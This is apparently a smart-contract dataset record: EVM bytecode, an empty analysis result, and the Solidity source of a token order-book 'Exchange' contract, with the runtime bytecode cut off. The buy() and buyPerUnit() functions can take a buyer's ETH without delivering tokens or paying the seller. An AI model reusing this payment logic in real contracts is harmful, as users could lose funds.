0405180910390fd5b61042585610414610759565b85846104209190610fea565b610761565b60019150509392505050565b60006012905090565b60006104dc610447610759565b848460016000610455610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104d79190610f94565b610761565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461053d906110a6565b80601f0160208091040260200160405190810160405280929190818152602001828054610569906110a6565b80156105b65780601f1061058b576101008083540402835291602001916105b6565b820191906000526020600020905b81548152906001019060200180831161059957829003601f168201915b5050505050905090565b600080600160006105cf610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561068c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068390610f22565b60405180910390fd5b6106a9610697610759565b8585846106a49190610fea565b610761565b600191505092915050565b60006106c86106c1610759565b848461092c565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c890610f02565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610841576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083890610e82565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161091f9190610f42565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390610ee2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0390610e62565b60405180910390fd5b610a17838383610bab565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9490610ea2565b60405180910390fd5b8181610aa99190610fea565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b399190610f94565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b9d9190610f42565b60405180910390a350505050565b505050565b600081359050610bbf81611370565b92915050565b600081359050610bd481611387565b92915050565b600060208284031215610bec57600080fd5b6000610bfa84828501610bb0565b91505092915050565b60008060408385031215610c1657600080fd5b6000610c2485828601610bb0565b9250506020610c3585828601610bb0565b9150509250929050565b600080600060608486031215610c5457600080fd5b6000610c6286828701610bb0565b9350506020610c7386828701610bb0565b9250506040610c8486828701610bc5565b9150509250925092565b60008060408385031215610ca157600080fd5b6000610caf85828601610bb0565b9250506020610cc085828601610bc5565b9150509250929050565b610cd381611030565b82525050565b6000610ce482610f78565b610cee8185610f83565b9350610cfe818560208601611073565b610d0781611136565b840191505092915050565b6000610d1f602383610f83565b9150610d2a82611147565b604082019050919050565b6000610d42602283610f83565b9150610d4d82611196565b604082019050919050565b6000610d65602683610f83565b9150610d70826111e5565b604082019050919050565b6000610d88602883610f83565b9150610d9382611234565b604082019050919050565b6000610dab602583610f83565b9150610db682611283565b604082019050919050565b6000610dce602483610f83565b9150610dd9826112d2565b604082019050919050565b6000610df1602583610f83565b9150610dfc82611321565b604082019050919050565b610e108161105c565b82525050565b610e1f81611066565b82525050565b6000602082019050610e3a6000830184610cca565b92915050565b60006020820190508181036000830152610e5a8184610cd9565b905092915050565b60006020820190508181036000830152610e7b81610d12565b9050919050565b60006020820190508181036000830152610e9b81610d35565b9050919050565b60006020820190508181036000830152610ebb81610d58565b9050919050565b60006020820190508181036000830152610edb81610d7b565b9050919050565b60006020820190508181036000830152610efb81610d9e565b9050919050565b60006020820190508181036000830152610f1b81610dc1565b9050919050565b60006020820190508181036000830152610f3b81610de4565b9050919050565b6000602082019050610f576000830184610e07565b92915050565b6000602082019050610f726000830184610e16565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610f9f8261105c565b9150610faa8361105c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610fdf57610fde6110d8565b5b828201905092915050565b6000610ff58261105c565b91506110008361105c565b925082821015611013576110126110d8565b5b828203905092915050565b60006110298261103c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611091578082015181840152602081019050611076565b838111156110a0576000848401525b50505050565b600060028204905060018216806110be57607f821691505b602082108114156110d2576110d1611107565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6113798161101e565b811461138457600080fd5b50565b6113908161105c565b811461139b57600080fd5b5056fea2646970667358221220a902793ed0bc0129bf0b3a02feefbc6271b7b2b5561b6d1e9384fb1433694c7d64736f6c63430008030033 | {"success": true, "error": null, "results": {}} | 10,588 |
0x1f2176d79fdc0ec4ddec59699e24ff05154a61b5 | pragma solidity ^0.4.24;
//Slightly modified SafeMath library - includes a min function
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint a, uint b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
//ERC20 function interface
interface ERC20_Interface {
function totalSupply() external constant returns (uint);
function balanceOf(address _owner) external constant returns (uint);
function transfer(address _to, uint _amount) external returns (bool);
function transferFrom(address _from, address _to, uint _amount) external returns (bool);
function approve(address _spender, uint _amount) external returns (bool);
function allowance(address _owner, address _spender) external constant returns (uint);
}
/**
*Exchange creates an exchange for the swaps.
*/
contract Exchange{
using SafeMath for uint256;
/*Variables*/
address public owner; //The owner of the market contract
/*Structs*/
//This is the base data structure for an order (the maker of the order and the price)
struct Order {
address maker;// the placer of the order
uint price;// The price in wei
uint amount;
address asset;
}
struct ListAsset {
uint price;
uint amount;
}
mapping(address => ListAsset) public listOfAssets;
//Maps an OrderID to the list of orders
mapping(uint256 => Order) public orders;
//An mapping of a token address to the orderID's
mapping(address => uint256[]) public forSale;
//Index telling where a specific tokenId is in the forSale array
mapping(uint256 => uint256) internal forSaleIndex;
//Index telling where a specific tokenId is in the forSale array
address[] public openBooks;
//mapping of address to position in openBooks
mapping (address => uint) internal openBookIndex;
//mapping of user to their orders
mapping(address => uint[]) public userOrders;
//mapping from orderId to userOrder position
mapping(uint => uint) internal userOrderIndex;
//A list of the blacklisted addresses
mapping(address => bool) internal blacklist;
//order_nonce;
uint internal order_nonce;
/*Events*/
event OrderPlaced(address _sender,address _token, uint256 _amount, uint256 _price);
event Sale(address _sender,address _token, uint256 _amount, uint256 _price);
event OrderRemoved(address _sender,address _token, uint256 _amount, uint256 _price);
/*Modifiers*/
/**
*@dev Access modifier for Owner functionality
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/*Functions*/
/**
*@dev the constructor argument to set the owner and initialize the array.
*/
constructor() public{
owner = msg.sender;
openBooks.push(address(0));
order_nonce = 1;
}
/**
*@dev list allows a party to place an order on the orderbook
*@param _tokenadd address of the drct tokens
*@param _amount number of DRCT tokens
*@param _price uint256 price of all tokens in wei
*/
function list(address _tokenadd, uint256 _amount, uint256 _price) external {
require(blacklist[msg.sender] == false);
require(_price > 0);
ERC20_Interface token = ERC20_Interface(_tokenadd);
require(token.allowance(msg.sender,address(this)) >= _amount);
if(forSale[_tokenadd].length == 0){
forSale[_tokenadd].push(0);
}
forSaleIndex[order_nonce] = forSale[_tokenadd].length;
forSale[_tokenadd].push(order_nonce);
orders[order_nonce] = Order({
maker: msg.sender,
asset: _tokenadd,
price: _price,
amount:_amount
});
emit OrderPlaced(msg.sender,_tokenadd,_amount,_price);
if(openBookIndex[_tokenadd] == 0 ){
openBookIndex[_tokenadd] = openBooks.length;
openBooks.push(_tokenadd);
}
userOrderIndex[order_nonce] = userOrders[msg.sender].length;
userOrders[msg.sender].push(order_nonce);
order_nonce += 1;
}
/**
*@dev list allows a party to list an order on the orderbook
*@param _asset address of the drct tokens
*@param _amount number of DRCT tokens
*@param _price uint256 price per unit in wei
*/
//Then you would have a mapping from an asset to its price/ quantity when you list it.
function listDda(address _asset, uint256 _amount, uint256 _price) public onlyOwner() {
require(blacklist[msg.sender] == false);
ListAsset storage listing = listOfAssets[_asset];
listing.price = _price;
listing.amount= _amount;
}
/**
*@dev buy allows a party to partially fill an order
*@param _asset is the address of the assset listed
*@param _amount is the amount of tokens to buy
*/
function buyPerUnit(address _asset, uint256 _amount) external payable {
require(blacklist[msg.sender] == false);
ListAsset storage listing = listOfAssets[_asset];
require(_amount <= listing.amount);
require(msg.value == _amount.mul(listing.price));
listing.amount= listing.amount.sub(_amount);
}
/**
*@dev unlist allows a party to remove their order from the orderbook
*@param _orderId is the uint256 ID of order
*/
function unlist(uint256 _orderId) external{
require(forSaleIndex[_orderId] > 0);
Order memory _order = orders[_orderId];
require(msg.sender== _order.maker || msg.sender == owner);
unLister(_orderId,_order);
emit OrderRemoved(msg.sender,_order.asset,_order.amount,_order.price);
}
/**
*@dev buy allows a party to fill an order
*@param _orderId is the uint256 ID of order
*/
function buy(uint256 _orderId) external payable {
Order memory _order = orders[_orderId];
require(_order.price != 0 && _order.maker != address(0) && _order.asset != address(0) && _order.amount != 0);
require(msg.value == _order.price);
require(blacklist[msg.sender] == false);
address maker = _order.maker;
ERC20_Interface token = ERC20_Interface(_order.asset);
if(token.allowance(_order.maker,address(this)) >= _order.amount){
assert(token.transferFrom(_order.maker,msg.sender, _order.amount));
maker.transfer(_order.price);
}
unLister(_orderId,_order);
emit Sale(msg.sender,_order.asset,_order.amount,_order.price);
}
/**
*@dev getOrder lists the price,amount, and maker of a specific token for a sale
*@param _orderId uint256 ID of order
*@return address of the party selling
*@return uint of the price of the sale (in wei)
*@return uint of the order amount of the sale
*@return address of the token
*/
function getOrder(uint256 _orderId) external view returns(address,uint,uint,address){
Order storage _order = orders[_orderId];
return (_order.maker,_order.price,_order.amount,_order.asset);
}
/**
*@dev allows the owner to change who the owner is
*@param _owner is the address of the new owner
*/
function setOwner(address _owner) public onlyOwner() {
owner = _owner;
}
/**
*@notice This allows the owner to stop a malicious party from spamming the orderbook
*@dev Allows the owner to blacklist addresses from using this exchange
*@param _address the address of the party to blacklist
*@param _motion true or false depending on if blacklisting or not
*/
function blacklistParty(address _address, bool _motion) public onlyOwner() {
blacklist[_address] = _motion;
}
/**
*@dev Allows parties to see if one is blacklisted
*@param _address the address of the party to blacklist
*@return bool true for is blacklisted
*/
function isBlacklist(address _address) public view returns(bool) {
return blacklist[_address];
}
/**
*@dev getOrderCount allows parties to query how many orders are on the book
*@param _token address used to count the number of orders
*@return _uint of the number of orders in the orderbook
*/
function getOrderCount(address _token) public constant returns(uint) {
return forSale[_token].length;
}
/**
*@dev Gets number of open orderbooks
*@return _uint of the number of tokens with open orders
*/
function getBookCount() public constant returns(uint) {
return openBooks.length;
}
/**
*@dev getOrders allows parties to get an array of all orderId's open for a given token
*@param _token address of the drct token
*@return _uint[] an array of the orders in the orderbook
*/
function getOrders(address _token) public constant returns(uint[]) {
return forSale[_token];
}
/**
*@dev getUserOrders allows parties to get an array of all orderId's open for a given user
*@param _user address
*@return _uint[] an array of the orders in the orderbook for the user
*/
function getUserOrders(address _user) public constant returns(uint[]) {
return userOrders[_user];
}
/**
*@dev An internal function to update mappings when an order is removed from the book
*@param _orderId is the uint256 ID of order
*@param _order is the struct containing the details of the order
*/
function unLister(uint256 _orderId, Order _order) internal{
uint256 tokenIndex;
uint256 lastTokenIndex;
address lastAdd;
uint256 lastToken;
if(forSale[_order.asset].length == 2){
tokenIndex = openBookIndex[_order.asset];
lastTokenIndex = openBooks.length.sub(1);
lastAdd = openBooks[lastTokenIndex];
openBooks[tokenIndex] = lastAdd;
openBookIndex[lastAdd] = tokenIndex;
openBooks.length--;
openBookIndex[_order.asset] = 0;
forSale[_order.asset].length -= 2;
}
else{
tokenIndex = forSaleIndex[_orderId];
lastTokenIndex = forSale[_order.asset].length.sub(1);
lastToken = forSale[_order.asset][lastTokenIndex];
forSale[_order.asset][tokenIndex] = lastToken;
forSaleIndex[lastToken] = tokenIndex;
forSale[_order.asset].length--;
}
forSaleIndex[_orderId] = 0;
orders[_orderId] = Order({
maker: address(0),
price: 0,
amount:0,
asset: address(0)
});
if(userOrders[_order.maker].length > 1){
tokenIndex = userOrderIndex[_orderId];
lastTokenIndex = userOrders[_order.maker].length.sub(1);
lastToken = userOrders[_order.maker][lastTokenIndex];
userOrders[_order.maker][tokenIndex] = lastToken;
userOrderIndex[lastToken] = tokenIndex;
}
userOrders[_order.maker].length--;
userOrderIndex[_orderId] = 0;
}
} | 0x608060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063093376fe1461010c57806313af4035146101a4578063333e99db146101e75780634c3b676014610242578063582d6033146102af5780635ac5ba711461030657806363c69f081461035557806369902ffb146103ed578063856652e91461042d5780638da5cb5b1461048e578063a85c38ef146104e5578063b96f24fa14610593578063bf5a4dd3146105f1578063d09ef2411461061e578063d73e0c89146106cc578063d8b86753146106f7578063d96a094a1461074e578063dda342bb1461076e578063eb3056e0146107c5575b600080fd5b34801561011857600080fd5b5061014d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610826565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610190578082015181840152602081019050610175565b505050509050019250505060405180910390f35b3480156101b057600080fd5b506101e5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108bd565b005b3480156101f357600080fd5b50610228600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061095b565b604051808215151515815260200191505060405180910390f35b34801561024e57600080fd5b5061026d600480360381019080803590602001909291905050506109b1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102bb57600080fd5b50610304600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506109ef565b005b34801561031257600080fd5b50610353600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610b04565b005b34801561036157600080fd5b50610396600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bba565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156103d95780820151818401526020810190506103be565b505050509050019250505060405180910390f35b61042b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c51565b005b34801561043957600080fd5b50610478600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d4d565b6040518082815260200191505060405180910390f35b34801561049a57600080fd5b506104a3610d7d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104f157600080fd5b5061051060048036038101908080359060200190929190505050610da2565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200194505050505060405180910390f35b34801561059f57600080fd5b506105d4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e12565b604051808381526020018281526020019250505060405180910390f35b3480156105fd57600080fd5b5061061c60048036038101908080359060200190929190505050610e36565b005b34801561062a57600080fd5b5061064960048036038101908080359060200190929190505050611097565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200194505050505060405180910390f35b3480156106d857600080fd5b506106e1611118565b6040518082815260200191505060405180910390f35b34801561070357600080fd5b50610738600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611125565b6040518082815260200191505060405180910390f35b61076c60048036038101908080359060200190929190505050611171565b005b34801561077a57600080fd5b506107c3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506116c6565b005b3480156107d157600080fd5b50610810600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611d52565b6040518082815260200191505060405180910390f35b6060600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054806020026020016040519081016040528092919081815260200182805480156108b157602002820191906000526020600020905b81548152602001906001019080831161089d575b50505050509050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561091857600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6005818154811015156109c057fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a4c57600080fd5b60001515600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515610aab57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905081816000018190555082816001018190555050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b5f57600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6060600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480602002602001604051908101604052809291908181526020018280548015610c4557602002820191906000526020600020905b815481526020019060010190808311610c31575b50505050509050919050565b6000801515600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515610cb157600080fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905080600101548211151515610d0557600080fd5b610d1c816000015483611d8290919063ffffffff16565b34141515610d2957600080fd5b610d40828260010154611db590919063ffffffff16565b8160010181905550505050565b600760205281600052604060002081815481101515610d6857fe5b90600052602060002001600091509150505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60026020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154908060020154908060030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905084565b60016020528060005260406000206000915090508060000154908060010154905082565b610e3e6124e9565b60006004600084815260200190815260200160002054111515610e6057600080fd5b60026000838152602001908152602001600020608060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160018201548152602001600282015481526020016003820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815250509050806000015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610fcb57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610fd657600080fd5b610fe08282611dce565b7f2ad9f28701ed86594a018e3331c1aa8fb3a1a39b7a6ef782eda2fc652bcb728f33826060015183604001518460200151604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a15050565b60008060008060006002600087815260200190815260200160002090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16816001015482600201548360030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169450945094509450509193509193565b6000600580549050905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490509050919050565b6111796124e9565b60008060026000858152602001908152602001600020608060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160018201548152602001600282015481526020016003820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681525050925060008360200151141580156112a35750600073ffffffffffffffffffffffffffffffffffffffff16836000015173ffffffffffffffffffffffffffffffffffffffff1614155b80156112e05750600073ffffffffffffffffffffffffffffffffffffffff16836060015173ffffffffffffffffffffffffffffffffffffffff1614155b80156112f157506000836040015114155b15156112fc57600080fd5b82602001513414151561130e57600080fd5b60001515600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561136d57600080fd5b826000015191508260600151905082604001518173ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e8560000151306040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561145357600080fd5b505af1158015611467573d6000803e3d6000fd5b505050506040513d602081101561147d57600080fd5b8101908080519060200190929190505050101515611603578073ffffffffffffffffffffffffffffffffffffffff166323b872dd84600001513386604001516040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561157457600080fd5b505af1158015611588573d6000803e3d6000fd5b505050506040513d602081101561159e57600080fd5b810190808051906020019092919050505015156115b757fe5b8173ffffffffffffffffffffffffffffffffffffffff166108fc84602001519081150290604051600060405180830381858888f19350505050158015611601573d6000803e3d6000fd5b505b61160d8484611dce565b7f681ddc67ea8796d2489979f5fc2ea2eb0f2d44ff3f11f061a191928a1f3d9a0633846060015185604001518660200151604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a150505050565b6000801515600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561172657600080fd5b60008211151561173557600080fd5b839050828173ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e33306040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561180857600080fd5b505af115801561181c573d6000803e3d6000fd5b505050506040513d602081101561183257600080fd5b81019080805190602001909291905050501015151561185057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050141561190657600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600090806001815401808255809150509060018203906000526020600020016000909192909190915055505b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905060046000600a54815260200190815260200160002081905550600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600a5490806001815401808255809150509060018203906000526020600020016000909192909190915055506080604051908101604052803373ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018481526020018573ffffffffffffffffffffffffffffffffffffffff1681525060026000600a54815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002015560608201518160030160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055509050507f2470206de0d597332cec41e79165bf24fb8e706aca788e7c1aea6ebc5abb2d3833858585604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a16000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611c7457600580549050600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060058490806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905060086000600a54815260200190815260200160002081905550600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600a5490806001815401808255809150509060018203906000526020600020016000909192909190915055506001600a6000828254019250508190555050505050565b600360205281600052604060002081815481101515611d6d57fe5b90600052602060002001600091509150505481565b60008082840290506000841480611da35750828482811515611da057fe5b04145b1515611dab57fe5b8091505092915050565b6000828211151515611dc357fe5b818303905092915050565b600080600080600260036000876060015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050141561201a5760066000866060015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549350611e826001600580549050611db590919063ffffffff16565b9250600583815481101515611e9357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16915081600585815481101515611ed057fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555083600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506005805480919060019003611f71919061253e565b50600060066000876060015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260036000876060015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081818054905003915081612014919061256a565b506121b8565